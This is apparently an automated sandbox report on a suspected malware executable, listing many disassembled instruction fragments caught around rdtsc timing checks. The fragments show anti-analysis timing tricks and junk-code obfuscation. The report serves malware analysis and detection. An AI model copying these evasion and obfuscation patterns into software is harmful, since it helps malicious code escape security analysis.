Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDB35C second address: FDB383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8C4E5DB37h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007FE8C4E5DB2Eh 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDB383 second address: FDB39C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FE8C4E0119Bh 0x0000000b jnp 00007FE8C4E0119Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDB39C second address: FDB3A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDB95F second address: FDB963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDB963 second address: FDB99A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE8C4E5DB2Dh 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 jnl 00007FE8C4E5DB26h 0x00000018 ja 00007FE8C4E5DB26h 0x0000001e push eax 0x0000001f pop eax 0x00000020 push esi 0x00000021 pop esi 0x00000022 popad 0x00000023 popad 0x00000024 jo 00007FE8C4E5DB30h 0x0000002a push ecx 0x0000002b pushad 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDE44F second address: FDE467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 ja 00007FE8C4E01196h 0x0000000e jne 00007FE8C4E01196h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDE467 second address: FDE46C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDE46C second address: FDE473 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FE080B second address: FE0811 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FDF92C second address: FDF933 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: F9D98F second address: F9D995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: F9D995 second address: F9D99C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: F9D99C second address: F9D9AE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007FE8C4E5DB28h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FE77BF second address: FE7822 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A5h 0x00000007 jmp 00007FE8C4E011A3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edi 0x00000010 jmp 00007FE8C4E011A0h 0x00000015 jmp 00007FE8C4E011A4h 0x0000001a pop edi 0x0000001b jmp 00007FE8C4E0119Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FE7822 second address: FE7826 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FE7AAC second address: FE7AC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8C4E011A3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FE7C60 second address: FE7C6A instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE8C4E5DB2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FE81AF second address: FE81B9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE8C4E01196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FE918D second address: FE91C9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FE8C4E5DB37h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 5A424E19h 0x00000012 add si, 7AD4h 0x00000017 push 1ED1EE4Ah 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FE8C4E5DB2Ch 0x00000023 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FE9D56 second address: FE9D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FE9D5A second address: FE9D6C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE8C4E5DB26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FE8C4E5DB26h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FE9FF8 second address: FE9FFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FE9FFC second address: FEA01B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE8C4E5DB32h 0x0000000b popad 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FEA1C8 second address: FEA1CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FEB051 second address: FEB055 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FECDC6 second address: FECDD2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FEBA32 second address: FEBA3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FECBD0 second address: FECBD6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FED87A second address: FED897 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE8C4E5DB33h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FED621 second address: FED625 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FEEE6D second address: FEEE71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FEEE71 second address: FEEE77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FEF5B7 second address: FEF5C5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE8C4E5DB26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF4A7A second address: FF4A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF5A2D second address: FF5ACE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE8C4E5DB2Ah 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FE8C4E5DB30h 0x00000013 nop 0x00000014 mov edi, dword ptr [ebp+122D35F8h] 0x0000001a mov dword ptr [ebp+122D5AC0h], ebx 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ecx 0x00000025 call 00007FE8C4E5DB28h 0x0000002a pop ecx 0x0000002b mov dword ptr [esp+04h], ecx 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc ecx 0x00000038 push ecx 0x00000039 ret 0x0000003a pop ecx 0x0000003b ret 0x0000003c mov edi, dword ptr [ebp+122D398Bh] 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push ecx 0x00000047 call 00007FE8C4E5DB28h 0x0000004c pop ecx 0x0000004d mov dword ptr [esp+04h], ecx 0x00000051 add dword ptr [esp+04h], 0000001Bh 0x00000059 inc ecx 0x0000005a push ecx 0x0000005b ret 0x0000005c pop ecx 0x0000005d ret 0x0000005e mov ebx, dword ptr [ebp+122D1E12h] 0x00000064 xchg eax, esi 0x00000065 jno 00007FE8C4E5DB2Eh 0x0000006b push eax 0x0000006c pushad 0x0000006d push eax 0x0000006e push edx 0x0000006f je 00007FE8C4E5DB26h 0x00000075 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF4CBA second address: FF4CC4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE8C4E0119Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF5C80 second address: FF5C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE8C4E5DB26h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF5C8B second address: FF5C92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF879C second address: FF87AE instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE8C4E5DB28h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF87AE second address: FF87E3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE8C4E01196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop edi 0x0000000e popad 0x0000000f nop 0x00000010 push eax 0x00000011 js 00007FE8C4E0119Ch 0x00000017 or edi, dword ptr [ebp+122D3B9Bh] 0x0000001d pop edi 0x0000001e push 00000000h 0x00000020 or di, 91FFh 0x00000025 push 00000000h 0x00000027 jo 00007FE8C4E01198h 0x0000002d mov bl, ah 0x0000002f push eax 0x00000030 push edi 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF9709 second address: FF970D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF8991 second address: FF8995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF970D second address: FF9713 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF9713 second address: FF9718 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF9718 second address: FF9790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007FE8C4E5DB35h 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FE8C4E5DB28h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b push esi 0x0000002c mov ebx, dword ptr [ebp+122D20ABh] 0x00000032 pop ebx 0x00000033 mov ebx, ecx 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007FE8C4E5DB28h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 00000014h 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 mov dword ptr [ebp+1245A556h], edi 0x00000057 mov ebx, edi 0x00000059 xchg eax, esi 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF9790 second address: FF9795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FFB7B4 second address: FFB7FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 popad 0x00000014 nop 0x00000015 push esi 0x00000016 mov dword ptr [ebp+122D3843h], ebx 0x0000001c pop ebx 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 jl 00007FE8C4E5DB2Ch 0x00000026 sub edi, dword ptr [ebp+122D37BBh] 0x0000002c pop ebx 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FE8C4E5DB38h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FFAA8B second address: FFAA8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FFC927 second address: FFC944 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007FE8C4E5DB26h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007FE8C4E5DB2Ch 0x00000017 jne 00007FE8C4E5DB26h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FFC944 second address: FFC94E instructions: 0x00000000 rdtsc 0x00000002 je 00007FE8C4E0119Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FFC94E second address: FFC9A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov bl, 31h 0x00000009 push 00000000h 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007FE8C4E5DB28h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 mov ebx, esi 0x00000027 push 00000000h 0x00000029 call 00007FE8C4E5DB37h 0x0000002e js 00007FE8C4E5DB2Ch 0x00000034 mov ebx, dword ptr [ebp+1245A9E5h] 0x0000003a pop edi 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f push edx 0x00000040 pop edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FFC9A5 second address: FFC9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FFD9E3 second address: FFD9E8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FFE97F second address: FFE983 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FFE983 second address: FFE9ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 and edi, dword ptr [ebp+122D2CFEh] 0x0000000d push 00000000h 0x0000000f movzx edi, di 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007FE8C4E5DB28h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e mov edi, 775B6D2Fh 0x00000033 push eax 0x00000034 pushad 0x00000035 jmp 00007FE8C4E5DB36h 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FE8C4E5DB32h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FFCADE second address: FFCB7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FE8C4E01198h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 push dword ptr fs:[00000000h] 0x0000002b jnc 00007FE8C4E0119Ch 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007FE8C4E01198h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 mov eax, dword ptr [ebp+122D14ADh] 0x00000058 mov edi, dword ptr [ebp+122D3AEFh] 0x0000005e push FFFFFFFFh 0x00000060 mov dword ptr [ebp+122D2BBAh], ebx 0x00000066 nop 0x00000067 push eax 0x00000068 push edx 0x00000069 jng 00007FE8C4E0119Ch 0x0000006f jnp 00007FE8C4E01196h 0x00000075 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FFCB7A second address: FFCBA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jl 00007FE8C4E5DB30h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FFFA22 second address: FFFA26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 100198D second address: 1001993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1001993 second address: 10019C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007FE8C4E011A6h 0x00000013 popad 0x00000014 je 00007FE8C4E011A2h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10019C0 second address: 10019D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE8C4E5DB26h 0x0000000a popad 0x0000000b jbe 00007FE8C4E5DB4Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10019D5 second address: 10019D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1002F0F second address: 1002FD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b jmp 00007FE8C4E5DB38h 0x00000010 pop edi 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007FE8C4E5DB28h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d jmp 00007FE8C4E5DB34h 0x00000032 jmp 00007FE8C4E5DB38h 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edx 0x0000003c call 00007FE8C4E5DB28h 0x00000041 pop edx 0x00000042 mov dword ptr [esp+04h], edx 0x00000046 add dword ptr [esp+04h], 0000001Ch 0x0000004e inc edx 0x0000004f push edx 0x00000050 ret 0x00000051 pop edx 0x00000052 ret 0x00000053 clc 0x00000054 xchg eax, esi 0x00000055 ja 00007FE8C4E5DB30h 0x0000005b push eax 0x0000005c push ebx 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007FE8C4E5DB31h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1004010 second address: 100409E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push ebx 0x00000008 jns 00007FE8C4E011ADh 0x0000000e pop ebx 0x0000000f nop 0x00000010 push esi 0x00000011 jmp 00007FE8C4E011A4h 0x00000016 pop ebx 0x00000017 mov edi, 358F7100h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007FE8C4E01198h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 00000014h 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 mov bl, dh 0x0000003a mov edi, dword ptr [ebp+122D2BDBh] 0x00000040 or bl, FFFFFFA1h 0x00000043 push 00000000h 0x00000045 mov edi, 09401833h 0x0000004a xchg eax, esi 0x0000004b jng 00007FE8C4E011A6h 0x00000051 push eax 0x00000052 pushad 0x00000053 push esi 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1003214 second address: 1003219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1006827 second address: 1006838 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FE8C4E01196h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1006838 second address: 1006849 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1004187 second address: 100418C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1018084 second address: 10180A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8C4E5DB39h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1018660 second address: 101868E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A1h 0x00000007 jmp 00007FE8C4E011A9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
